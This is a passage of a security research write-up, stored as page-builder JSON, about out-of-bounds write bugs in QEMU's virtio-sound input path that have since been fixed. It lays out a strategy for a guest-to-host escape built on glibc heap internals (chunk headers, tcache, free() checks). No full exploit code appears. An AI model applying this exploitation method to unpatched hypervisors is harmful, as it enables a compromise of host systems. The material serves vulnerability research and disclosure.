",{"type":23,"tag":75,"props":136110,"children":136111},{"style":209},[136112],{"type":29,"value":601},{"type":23,"tag":75,"props":136114,"children":136115},{"style":94},[136116],{"type":29,"value":136117},"st_params;\n",{"type":23,"tag":75,"props":136119,"children":136120},{"class":77,"line":220},[136121],{"type":23,"tag":75,"props":136122,"children":136123},{"emptyLinePlaceholder":15},[136124],{"type":29,"value":276},{"type":23,"tag":75,"props":136126,"children":136127},{"class":77,"line":248},[136128],{"type":23,"tag":75,"props":136129,"children":136130},{"style":94},[136131],{"type":29,"value":115136},{"type":23,"tag":75,"props":136133,"children":136134},{"class":77,"line":270},[136135],{"type":23,"tag":75,"props":136136,"children":136137},{"emptyLinePlaceholder":15},[136138],{"type":29,"value":276},{"type":23,"tag":75,"props":136140,"children":136141},{"class":77,"line":279},[136142,136147,136151,136156],{"type":23,"tag":75,"props":136143,"children":136144},{"style":94},[136145],{"type":29,"value":136146},"    st_params ",{"type":23,"tag":75,"props":136148,"children":136149},{"style":209},[136150],{"type":29,"value":212},{"type":23,"tag":75,"props":136152,"children":136153},{"style":88},[136154],{"type":29,"value":136155}," virtio_snd_pcm_get_params",{"type":23,"tag":75,"props":136157,"children":136158},{"style":94},[136159],{"type":29,"value":136160},"(s, stream_id);\n",{"type":23,"tag":75,"props":136162,"children":136163},{"class":77,"line":303},[136164],{"type":23,"tag":75,"props":136165,"children":136166},{"emptyLinePlaceholder":15},[136167],{"type":29,"value":276},{"type":23,"tag":75,"props":136169,"children":136170},{"class":77,"line":322},[136171],{"type":23,"tag":75,"props":136172,"children":136173},{"style":94},[136174],{"type":29,"value":115136},{"type":23,"tag":75,"props":136176,"children":136177},{"class":77,"line":340},[136178],{"type":23,"tag":75,"props":136179,"children":136180},{"emptyLinePlaceholder":15},[136181],{"type":29,"value":276},{"type":23,"tag":75,"props":136183,"children":136184},{"class":77,"line":349},[136185,136190,136194,136199,136203,136208,136212,136216,136220,136224],{"type":23,"tag":75,"props":136186,"children":136187},{"style":110},[136188],{"type":29,"value":136189},"    st_params",{"type":23,"tag":75,"props":136191,"children":136192},{"style":94},[136193],{"type":29,"value":1156},{"type":23,"tag":75,"props":136195,"children":136196},{"style":110},[136197],{"type":29,"value":136198},"buffer_bytes",{"type":23,"tag":75,"props":136200,"children":136201},{"style":209},[136202],{"type":29,"value":1193},{"type":23,"tag":75,"props":136204,"children":136205},{"style":88},[136206],{"type":29,"value":136207}," le32_to_cpu",{"type":23,"tag":75,"props":136209,"children":136210},{"style":94},[136211],{"type":29,"value":643},{"type":23,"tag":75,"props":136213,"children":136214},{"style":110},[136215],{"type":29,"value":108617},{"type":23,"tag":75,"props":136217,"children":136218},{"style":94},[136219],{"type":29,"value":1156},{"type":23,"tag":75,"props":136221,"children":136222},{"style":110},[136223],{"type":29,"value":136198},{"type":23,"tag":75,"props":136225,"children":136226},{"style":94},[136227],{"type":29,"value":15099},{"type":23,"tag":75,"props":136229,"children":136230},{"class":77,"line":363},[136231,136235,136239,136243,136247,136251,136255,136259,136263,136267],{"type":23,"tag":75,"props":136232,"children":136233},{"style":110},[136234],{"type":29,"value":136189},{"type":23,"tag":75,"props":136236,"children":136237},{"style":94},[136238],{"type":29,"value":1156},{"type":23,"tag":75,"props":136240,"children":136241},{"style":110},[136242],{"type":29,"value":135648},{"type":23,"tag":75,"props":136244,"children":136245},{"style":209},[136246],{"type":29,"value":1193},{"type":23,"tag":75,"props":136248,"children":136249},{"style":88},[136250],{"type":29,"value":136207},{"type":23,"tag":75,"props":136252,"children":136253},{"style":94},[136254],{"type":29,"value":643},{"type":23,"tag":75,"props":136256,"children":136257},{"style":110},[136258],{"type":29,"value":108617},{"type":23,"tag":75,"props":136260,"children":136261},{"style":94},[136262],{"type":29,"value":1156},{"type":23,"tag":75,"props":136264,"children":136265},{"style":110},[136266],{"type":29,"value":135648},{"type":23,"tag":75,"props":136268,"children":136269},{"style":94},[136270],{"type":29,"value":15099},{"type":23,"tag":75,"props":136272,"children":136273},{"class":77,"line":656},[136274,136278,136282,136287,136291,136295,136299,136303,136307,136311],{"type":23,"tag":75,"props":136275,"children":136276},{"style":110},[136277],{"type":29,"value":136189},{"type":23,"tag":75,"props":136279,"children":136280},{"style":94},[136281],{"type":29,"value":1156},{"type":23,"tag":75,"props":136283,"children":136284},{"style":110},[136285],{"type":29,"value":136286},"features",{"type":23,"tag":75,"props":136288,"children":136289},{"style":209},[136290],{"type":29,"value":1193},{"type":23,"tag":75,"props":136292,"children":136293},{"style":88},[136294],{"type":29,"value":136207},{"type":23,"tag":75,"props":136296,"children":136297},{"style":94},[136298],{"type":29,"value":643},{"type":23,"tag":75,"props":136300,"children":136301},{"style":110},[136302],{"type":29,"value":108617},{"type":23,"tag":75,"props":136304,"children":136305},{"style":94},[136306],{"type":29,"value":1156},{"type":23,"tag":75,"props":136308,"children":136309},{"style":110},[136310],{"type":29,"value":136286},{"type":23,"tag":75,"props":136312,"children":136313},{"style":94},[136314],{"type":29,"value":15099},{"type":23,"tag":75,"props":136316,"children":136317},{"class":77,"line":705},[136318],{"type":23,"tag":75,"props":136319,"children":136320},{"style":3621},[136321],{"type":29,"value":136322},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":75,"props":136324,"children":136325},{"class":77,"line":787},[136326,136330,136334,136339,136343,136348,136352,136356],{"type":23,"tag":75,"props":136327,"children":136328},{"style":110},[136329],{"type":29,"value":136189},{"type":23,"tag":75,"props":136331,"children":136332},{"style":94},[136333],{"type":29,"value":1156},{"type":23,"tag":75,"props":136335,"children":136336},{"style":110},[136337],{"type":29,"value":136338},"channels",{"type":23,"tag":75,"props":136340,"children":136341},{"style":209},[136342],{"type":29,"value":1193},{"type":23,"tag":75,"props":136344,"children":136345},{"style":110},[136346],{"type":29,"value":136347}," params",{"type":23,"tag":75,"props":136349,"children":136350},{"style":94},[136351],{"type":29,"value":1156},{"type":23,"tag":75,"props":136353,"children":136354},{"style":110},[136355],{"type":29,"value":136338},{"type":23,"tag":75,"props":136357,"children":136358},{"style":94},[136359],{"type":29,"value":245},{"type":23,"tag":75,"props":136361,"children":136362},{"class":77,"line":826},[136363,136367,136371,136376,136380,136384,136388,136392],{"type":23,"tag":75,"props":136364,"children":136365},{"style":110},[136366],{"type":29,"value":136189},{"type":23,"tag":75,"props":136368,"children":136369},{"style":94},[136370],{"type":29,"value":1156},{"type":23,"tag":75,"props":136372,"children":136373},{"style":110},[136374],{"type":29,"value":136375},"format",{"type":23,"tag":75,"props":136377,"children":136378},{"style":209},[136379],{"type":29,"value":1193},{"type":23,"tag":75,"props":136381,"children":136382},{"style":110},[136383],{"type":29,"value":136347},{"type":23,"tag":75,"props":136385,"children":136386},{"style":94},[136387],{"type":29,"value":1156},{"type":23,"tag":75,"props":136389,"children":136390},{"style":110},[136391],{"type":29,"value":136375},{"type":23,"tag":75,"props":136393,"children":136394},{"style":94},[136395],{"type":29,"value":245},{"type":23,"tag":75,"props":136397,"children":136398},{"class":77,"line":834},[136399,136403,136407,136412,136416,136420,136424,136428],{"type":23,"tag":75,"props":136400,"children":136401},{"style":110},[136402],{"type":29,"value":136189},{"type":23,"tag":75,"props":136404,"children":136405},{"style":94},[136406],{"type":29,"value":1156},{"type":23,"tag":75,"props":136408,"children":136409},{"style":110},[136410],{"type":29,"value":136411},"rate",{"type":23,"tag":75,"props":136413,"children":136414},{"style":209},[136415],{"type":29,"value":1193},{"type":23,"tag":75,"props":136417,"children":136418},{"style":110},[136419],{"type":29,"value":136347},{"type":23,"tag":75,"props":136421,"children":136422},{"style":94},[136423],{"type":29,"value":1156},{"type":23,"tag":75,"props":136425,"children":136426},{"style":110},[136427],{"type":29,"value":136411},{"type":23,"tag":75,"props":136429,"children":136430},{"style":94},[136431],{"type":29,"value":245},{"type":23,"tag":75,"props":136433,"children":136434},{"class":77,"line":881},[136435],{"type":23,"tag":75,"props":136436,"children":136437},{"emptyLinePlaceholder":15},[136438],{"type":29,"value":276},{"type":23,"tag":75,"props":136440,"children":136441},{"class":77,"line":3355},[136442,136446,136451],{"type":23,"tag":75,"props":136443,"children":136444},{"style":175},[136445],{"type":29,"value":355},{"type":23,"tag":75,"props":136447,"children":136448},{"style":88},[136449],{"type":29,"value":136450}," cpu_to_le32",{"type":23,"tag":75,"props":136452,"children":136453},{"style":94},[136454],{"type":29,"value":136455},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":75,"props":136457,"children":136458},{"class":77,"line":3390},[136459],{"type":23,"tag":75,"props":136460,"children":136461},{"style":94},[136462],{"type":29,"value":369},{"type":23,"tag":32,"props":136464,"children":136465},{},[136466,136468,136473,136475,136481,136483,136488,136490,136495,136497,136503,136504,136509],{"type":29,"value":136467},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":71,"props":136469,"children":136471},{"className":136470},[],[136472],{"type":29,"value":1139},{"type":29,"value":136474},") and signed (",{"type":23,"tag":71,"props":136476,"children":136478},{"className":136477},[],[136479],{"type":29,"value":136480},"s8",{"type":29,"value":136482},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":71,"props":136484,"children":136486},{"className":136485},[],[136487],{"type":29,"value":40636},{"type":29,"value":136489}," in ",{"type":23,"tag":71,"props":136491,"children":136493},{"className":136492},[],[136494],{"type":29,"value":1139},{"type":29,"value":136496},", but ",{"type":23,"tag":71,"props":136498,"children":136500},{"className":136499},[],[136501],{"type":29,"value":136502},"0x00",{"type":29,"value":136489},{"type":23,"tag":71,"props":136505,"children":136507},{"className":136506},[],[136508],{"type":29,"value":136480},{"type":29,"value":557},{"type":23,"tag":30016,"props":136511,"children":136512},{},[],{"type":23,"tag":32,"props":136514,"children":136515},{},[136516],{"type":29,"value":136517},"To summarize:",{"type":23,"tag":2797,"props":136519,"children":136520},{},[136521,136540,136558],{"type":23,"tag":2801,"props":136522,"children":136523},{},[136524,136526,136531,136533,136538],{"type":29,"value":136525},"an integer underflow in the ",{"type":23,"tag":71,"props":136527,"children":136529},{"className":136528},[],[136530],{"type":29,"value":134595},{"type":29,"value":136532}," calculation in ",{"type":23,"tag":71,"props":136534,"children":136536},{"className":136535},[],[136537],{"type":29,"value":134100},{"type":29,"value":136539},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":2801,"props":136541,"children":136542},{},[136543,136545,136550,136551,136556],{"type":29,"value":136544},"a mismatch in the ",{"type":23,"tag":71,"props":136546,"children":136548},{"className":136547},[],[136549],{"type":29,"value":135827},{"type":29,"value":136532},{"type":23,"tag":71,"props":136552,"children":136554},{"className":136553},[],[136555],{"type":29,"value":135925},{"type":29,"value":136557},", leading to at most 8-byte OOB write",{"type":23,"tag":2801,"props":136559,"children":136560},{},[136561,136563,136568,136570,136575,136577,136582],{"type":29,"value":136562},"a missing bound in the ",{"type":23,"tag":71,"props":136564,"children":136566},{"className":136565},[],[136567],{"type":29,"value":134595},{"type":29,"value":136569}," passed to ",{"type":23,"tag":71,"props":136571,"children":136573},{"className":136572},[],[136574],{"type":29,"value":135945},{"type":29,"value":136576},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":71,"props":136578,"children":136580},{"className":136579},[],[136581],{"type":29,"value":135968},{"type":29,"value":6659},{"type":23,"tag":32,"props":136584,"children":136585},{},[136586,136588,136593,136595,136600,136602,136608],{"type":29,"value":136587},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":71,"props":136589,"children":136591},{"className":136590},[],[136592],{"type":29,"value":135968},{"type":29,"value":136594},", but in our setup with the ALSA backend, ",{"type":23,"tag":71,"props":136596,"children":136598},{"className":136597},[],[136599],{"type":29,"value":135968},{"type":29,"value":136601}," was consistently around ",{"type":23,"tag":71,"props":136603,"children":136605},{"className":136604},[],[136606],{"type":29,"value":136607},"4096",{"type":29,"value":557},{"type":23,"tag":32,"props":136610,"children":136611},{},[136612,136614,136621,136622,136629],{"type":29,"value":136613},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":940,"props":136615,"children":136618},{"href":136616,"rel":136617},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[944],[136619],{"type":29,"value":136620},"commit 1",{"type":29,"value":611},{"type":23,"tag":940,"props":136623,"children":136626},{"href":136624,"rel":136625},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[944],[136627],{"type":29,"value":136628},"commit 2",{"type":29,"value":136630},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":24,"props":136632,"children":136633},{"id":110443},[136634],{"type":29,"value":110446},{"type":23,"tag":32,"props":136636,"children":136637},{},[136638],{"type":29,"value":136639},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":32,"props":136641,"children":136642},{},[136643],{"type":29,"value":136644},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":923,"props":136646,"children":136648},{"id":136647},"achieving-a-better-primitive",[136649],{"type":29,"value":136650},"Achieving a Better Primitive",{"type":23,"tag":32,"props":136652,"children":136653},{},[136654],{"type":29,"value":136655},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":32,"props":136657,"children":136658},{},[136659],{"type":29,"value":136660},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":32,"props":136662,"children":136663},{},[136664],{"type":29,"value":136665},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":30116,"props":136667,"children":136669},{"id":136668},"glibc-allocator",[136670],{"type":29,"value":136671},"Glibc Allocator",{"type":23,"tag":32,"props":136673,"children":136674},{},[136675,136677,136684],{"type":29,"value":136676},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":940,"props":136678,"children":136681},{"href":136679,"rel":136680},"https://github.com/shellphish/how2heap",[944],[136682],{"type":29,"value":136683},"how2heap",{"type":29,"value":557},{"type":23,"tag":48538,"props":136686,"children":136688},{"id":136687},"chunk-layout-and-bins",[136689],{"type":29,"value":136690},"Chunk Layout and Bins",{"type":23,"tag":32,"props":136692,"children":136693},{},[136694],{"type":29,"value":136695},"A chunk looks like this:",{"type":23,"tag":64,"props":136697,"children":136699},{"code":136698},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[136700],{"type":23,"tag":71,"props":136701,"children":136702},{"__ignoreMap":7},[136703],{"type":29,"value":136698},{"type":23,"tag":32,"props":136705,"children":136706},{},[136707,136709,136715,136717,136723,136724,136729,136730,136736,136738,136743,136745,136750,136752,136758,136759,136765,136767,136773],{"type":29,"value":136708},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":71,"props":136710,"children":136712},{"className":136711},[],[136713],{"type":29,"value":136714},"prev_size",{"type":29,"value":136716}," field at offset ",{"type":23,"tag":71,"props":136718,"children":136720},{"className":136719},[],[136721],{"type":29,"value":136722},"0x0",{"type":29,"value":48741},{"type":23,"tag":71,"props":136725,"children":136727},{"className":136726},[],[136728],{"type":29,"value":134595},{"type":29,"value":136716},{"type":23,"tag":71,"props":136731,"children":136733},{"className":136732},[],[136734],{"type":29,"value":136735},"0x8",{"type":29,"value":136737},". As the name suggests, ",{"type":23,"tag":71,"props":136739,"children":136741},{"className":136740},[],[136742],{"type":29,"value":136714},{"type":29,"value":136744}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":71,"props":136746,"children":136748},{"className":136747},[],[136749],{"type":29,"value":134595},{"type":29,"value":136751}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":71,"props":136753,"children":136755},{"className":136754},[],[136756],{"type":29,"value":136757},"PREV_INUSE",{"type":29,"value":2721},{"type":23,"tag":71,"props":136760,"children":136762},{"className":136761},[],[136763],{"type":29,"value":136764},"IS_MMAPPED",{"type":29,"value":136766}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":71,"props":136768,"children":136770},{"className":136769},[],[136771],{"type":29,"value":136772},"0x10",{"type":29,"value":557},{"type":23,"tag":32,"props":136775,"children":136776},{},[136777],{"type":29,"value":136778},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":48538,"props":136780,"children":136782},{"id":136781},"free-path",[136783],{"type":29,"value":136784},"free() path",{"type":23,"tag":32,"props":136786,"children":136787},{},[136788,136790,136796],{"type":29,"value":136789},"Let’s first look at the ",{"type":23,"tag":71,"props":136791,"children":136793},{"className":136792},[],[136794],{"type":29,"value":136795},"free()",{"type":29,"value":136797}," path in glibc 2.40:",{"type":23,"tag":64,"props":136799,"children":136801},{"code":136800,"language":14432,"meta":7,"className":27738,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[136802],{"type":23,"tag":71,"props":136803,"children":136804},{"__ignoreMap":7},[136805,136833,136840,136848,136856,136863,136885,136906,136913,136926,136933,136941,136948,136961,136968,136989,137010,137017],{"type":23,"tag":75,"props":136806,"children":136807},{"class":77,"line":78},[136808,136813,136817,136821,136825,136829],{"type":23,"tag":75,"props":136809,"children":136810},{"style":88},[136811],{"type":29,"value":136812},"__libc_free",{"type":23,"tag":75,"props":136814,"children":136815},{"style":94},[136816],{"type":29,"value":183},{"type":23,"tag":75,"props":136818,"children":136819},{"style":82},[136820],{"type":29,"value":62812},{"type":23,"tag":75,"props":136822,"children":136823},{"style":209},[136824],{"type":29,"value":579},{"type":23,"tag":75,"props":136826,"children":136827},{"style":110},[136828],{"type":29,"value":51854},{"type":23,"tag":75,"props":136830,"children":136831},{"style":94},[136832],{"type":29,"value":653},{"type":23,"tag":75,"props":136834,"children":136835},{"class":77,"line":100},[136836],{"type":23,"tag":75,"props":136837,"children":136838},{"style":94},[136839],{"type":29,"value":2549},{"type":23,"tag":75,"props":136841,"children":136842},{"class":77,"line":121},[136843],{"type":23,"tag":75,"props":136844,"children":136845},{"style":94},[136846],{"type":29,"value":136847},"  mstate ar_ptr;\n",{"type":23,"tag":75,"props":136849,"children":136850},{"class":77,"line":138},[136851],{"type":23,"tag":75,"props":136852,"children":136853},{"style":94},[136854],{"type":29,"value":136855},"  mchunkptr p;\n",{"type":23,"tag":75,"props":136857,"children":136858},{"class":77,"line":161},[136859],{"type":23,"tag":75,"props":136860,"children":136861},{"emptyLinePlaceholder":15},[136862],{"type":29,"value":276},{"type":23,"tag":75,"props":136864,"children":136865},{"class":77,"line":196},[136866,136871,136875,136880],{"type":23,"tag":75,"props":136867,"children":136868},{"style":94},[136869],{"type":29,"value":136870},"  p ",{"type":23,"tag":75,"props":136872,"children":136873},{"style":209},[136874],{"type":29,"value":212},{"type":23,"tag":75,"props":136876,"children":136877},{"style":88},[136878],{"type":29,"value":136879}," mem2chunk",{"type":23,"tag":75,"props":136881,"children":136882},{"style":94},[136883],{"type":29,"value":136884}," (mem);\n",{"type":23,"tag":75,"props":136886,"children":136887},{"class":77,"line":220},[136888,136892,136896,136901],{"type":23,"tag":75,"props":136889,"children":136890},{"style":175},[136891],{"type":29,"value":42589},{"type":23,"tag":75,"props":136893,"children":136894},{"style":94},[136895],{"type":29,"value":183},{"type":23,"tag":75,"props":136897,"children":136898},{"style":88},[136899],{"type":29,"value":136900},"chunk_is_mmapped",{"type":23,"tag":75,"props":136902,"children":136903},{"style":94},[136904],{"type":29,"value":136905}," (p))\n",{"type":23,"tag":75,"props":136907,"children":136908},{"class":77,"line":248},[136909],{"type":23,"tag":75,"props":136910,"children":136911},{"style":94},[136912],{"type":29,"value":40383},{"type":23,"tag":75,"props":136914,"children":136915},{"class":77,"line":270},[136916,136921],{"type":23,"tag":75,"props":136917,"children":136918},{"style":88},[136919],{"type":29,"value":136920},"      munmap_chunk",{"type":23,"tag":75,"props":136922,"children":136923},{"style":94},[136924],{"type":29,"value":136925}," (p);\n",{"type":23,"tag":75,"props":136927,"children":136928},{"class":77,"line":279},[136929],{"type":23,"tag":75,"props":136930,"children":136931},{"style":94},[136932],{"type":29,"value":346},{"type":23,"tag":75,"props":136934,"children":136935},{"class":77,"line":303},[136936],{"type":23,"tag":75,"props":136937,"children":136938},{"style":175},[136939],{"type":29,"value":136940},"  else\n",{"type":23,"tag":75,"props":136942,"children":136943},{"class":77,"line":322},[136944],{"type":23,"tag":75,"props":136945,"children":136946},{"style":94},[136947],{"type":29,"value":40383},{"type":23,"tag":75,"props":136949,"children":136950},{"class":77,"line":340},[136951,136956],{"type":23,"tag":75,"props":136952,"children":136953},{"style":88},[136954],{"type":29,"value":136955},"      MAYBE_INIT_TCACHE",{"type":23,"tag":75,"props":136957,"children":136958},{"style":94},[136959],{"type":29,"value":136960}," ();\n",{"type":23,"tag":75,"props":136962,"children":136963},{"class":77,"line":349},[136964],{"type":23,"tag":75,"props":136965,"children":136966},{"emptyLinePlaceholder":15},[136967],{"type":29,"value":276},{"type":23,"tag":75,"props":136969,"children":136970},{"class":77,"line":363},[136971,136976,136980,136985],{"type":23,"tag":75,"props":136972,"children":136973},{"style":94},[136974],{"type":29,"value":136975},"      ar_ptr ",{"type":23,"tag":75,"props":136977,"children":136978},{"style":209},[136979],{"type":29,"value":212},{"type":23,"tag":75,"props":136981,"children":136982},{"style":88},[136983],{"type":29,"value":136984}," arena_for_chunk",{"type":23,"tag":75,"props":136986,"children":136987},{"style":94},[136988],{"type":29,"value":136925},{"type":23,"tag":75,"props":136990,"children":136991},{"class":77,"line":656},[136992,136997,137002,137006],{"type":23,"tag":75,"props":136993,"children":136994},{"style":88},[136995],{"type":29,"value":136996},"      _int_free",{"type":23,"tag":75,"props":136998,"children":136999},{"style":94},[137000],{"type":29,"value":137001}," (ar_ptr, p, ",{"type":23,"tag":75,"props":137003,"children":137004},{"style":237},[137005],{"type":29,"value":648},{"type":23,"tag":75,"props":137007,"children":137008},{"style":94},[137009],{"type":29,"value":15099},{"type":23,"tag":75,"props":137011,"children":137012},{"class":77,"line":705},[137013],{"type":23,"tag":75,"props":137014,"children":137015},{"style":94},[137016],{"type":29,"value":346},{"type":23,"tag":75,"props":137018,"children":137019},{"class":77,"line":787},[137020],{"type":23,"tag":75,"props":137021,"children":137022},{"style":94},[137023],{"type":29,"value":369},{"type":23,"tag":32,"props":137025,"children":137026},{},[137027,137029,137034,137036,137041,137043,137049,137051,137057,137059,137064,137066,137071,137073,137078,137080,137085],{"type":29,"value":137028},"We can see that if the ",{"type":23,"tag":71,"props":137030,"children":137032},{"className":137031},[],[137033],{"type":29,"value":136764},{"type":29,"value":137035}," bit is set in the corrupted ",{"type":23,"tag":71,"props":137037,"children":137039},{"className":137038},[],[137040],{"type":29,"value":134595},{"type":29,"value":137042}," field, glibc will call ",{"type":23,"tag":71,"props":137044,"children":137046},{"className":137045},[],[137047],{"type":29,"value":137048},"munmap_chunk",{"type":29,"value":137050},", which internally checks that ",{"type":23,"tag":71,"props":137052,"children":137054},{"className":137053},[],[137055],{"type":29,"value":137056},"prev_size + size",{"type":29,"value":137058}," is page-aligned. To reach the ",{"type":23,"tag":71,"props":137060,"children":137062},{"className":137061},[],[137063],{"type":29,"value":134595},{"type":29,"value":137065}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":71,"props":137067,"children":137069},{"className":137068},[],[137070],{"type":29,"value":136714},{"type":29,"value":137072}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":71,"props":137074,"children":137076},{"className":137075},[],[137077],{"type":29,"value":137056},{"type":29,"value":137079}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":71,"props":137081,"children":137083},{"className":137082},[],[137084],{"type":29,"value":136764},{"type":29,"value":137086}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":32,"props":137088,"children":137089},{},[137090,137092,137097,137099,137105],{"type":29,"value":137091},"Assuming ",{"type":23,"tag":71,"props":137093,"children":137095},{"className":137094},[],[137096],{"type":29,"value":136764},{"type":29,"value":137098}," is not set, execution continues into ",{"type":23,"tag":71,"props":137100,"children":137102},{"className":137101},[],[137103],{"type":29,"value":137104},"_int_free",{"type":29,"value":1018},{"type":23,"tag":64,"props":137107,"children":137109},{"code":137108,"language":14432,"meta":7,"className":27738,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[137110],{"type":23,"tag":71,"props":137111,"children":137112},{"__ignoreMap":7},[137113,137125,137168,137175,137183,137190,137211,137218,137226,137234,137242,137250,137314,137349,137370,137378,137386,137434,137454,137461,137474,137481],{"type":23,"tag":75,"props":137114,"children":137115},{"class":77,"line":78},[137116,137120],{"type":23,"tag":75,"props":137117,"children":137118},{"style":82},[137119],{"type":29,"value":62229},{"type":23,"tag":75,"props":137121,"children":137122},{"style":82},[137123],{"type":29,"value":137124}," void\n",{"type":23,"tag":75,"props":137126,"children":137127},{"class":77,"line":100},[137128,137132,137137,137142,137147,137151,137155,137159,137164],{"type":23,"tag":75,"props":137129,"children":137130},{"style":88},[137131],{"type":29,"value":137104},{"type":23,"tag":75,"props":137133,"children":137134},{"style":94},[137135],{"type":29,"value":137136}," (mstate ",{"type":23,"tag":75,"props":137138,"children":137139},{"style":110},[137140],{"type":29,"value":137141},"av",{"type":23,"tag":75,"props":137143,"children":137144},{"style":94},[137145],{"type":29,"value":137146},", mchunkptr ",{"type":23,"tag":75,"props":137148,"children":137149},{"style":110},[137150],{"type":29,"value":32},{"type":23,"tag":75,"props":137152,"children":137153},{"style":94},[137154],{"type":29,"value":611},{"type":23,"tag":75,"props":137156,"children":137157},{"style":82},[137158],{"type":29,"value":30270},{"type":23,"tag":75,"props":137160,"children":137161},{"style":110},[137162],{"type":29,"value":137163}," have_lock",{"type":23,"tag":75,"props":137165,"children":137166},{"style":94},[137167],{"type":29,"value":653},{"type":23,"tag":75,"props":137169,"children":137170},{"class":77,"line":121},[137171],{"type":23,"tag":75,"props":137172,"children":137173},{"style":94},[137174],{"type":29,"value":2549},{"type":23,"tag":75,"props":137176,"children":137177},{"class":77,"line":138},[137178],{"type":23,"tag":75,"props":137179,"children":137180},{"style":94},[137181],{"type":29,"value":137182},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":75,"props":137184,"children":137185},{"class":77,"line":161},[137186],{"type":23,"tag":75,"props":137187,"children":137188},{"emptyLinePlaceholder":15},[137189],{"type":29,"value":276},{"type":23,"tag":75,"props":137191,"children":137192},{"class":77,"line":196},[137193,137198,137202,137207],{"type":23,"tag":75,"props":137194,"children":137195},{"style":94},[137196],{"type":29,"value":137197},"  size ",{"type":23,"tag":75,"props":137199,"children":137200},{"style":209},[137201],{"type":29,"value":212},{"type":23,"tag":75,"props":137203,"children":137204},{"style":88},[137205],{"type":29,"value":137206}," chunksize",{"type":23,"tag":75,"props":137208,"children":137209},{"style":94},[137210],{"type":29,"value":136925},{"type":23,"tag":75,"props":137212,"children":137213},{"class":77,"line":220},[137214],{"type":23,"tag":75,"props":137215,"children":137216},{"emptyLinePlaceholder":15},[137217],{"type":29,"value":276},{"type":23,"tag":75,"props":137219,"children":137220},{"class":77,"line":248},[137221],{"type":23,"tag":75,"props":137222,"children":137223},{"style":3621},[137224],{"type":29,"value":137225},"  /* Little security check which won't hurt performance: the\n",{"type":23,"tag":75,"props":137227,"children":137228},{"class":77,"line":270},[137229],{"type":23,"tag":75,"props":137230,"children":137231},{"style":3621},[137232],{"type":29,"value":137233},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":75,"props":137235,"children":137236},{"class":77,"line":279},[137237],{"type":23,"tag":75,"props":137238,"children":137239},{"style":3621},[137240],{"type":29,"value":137241},"     Therefore we can exclude some size values which might 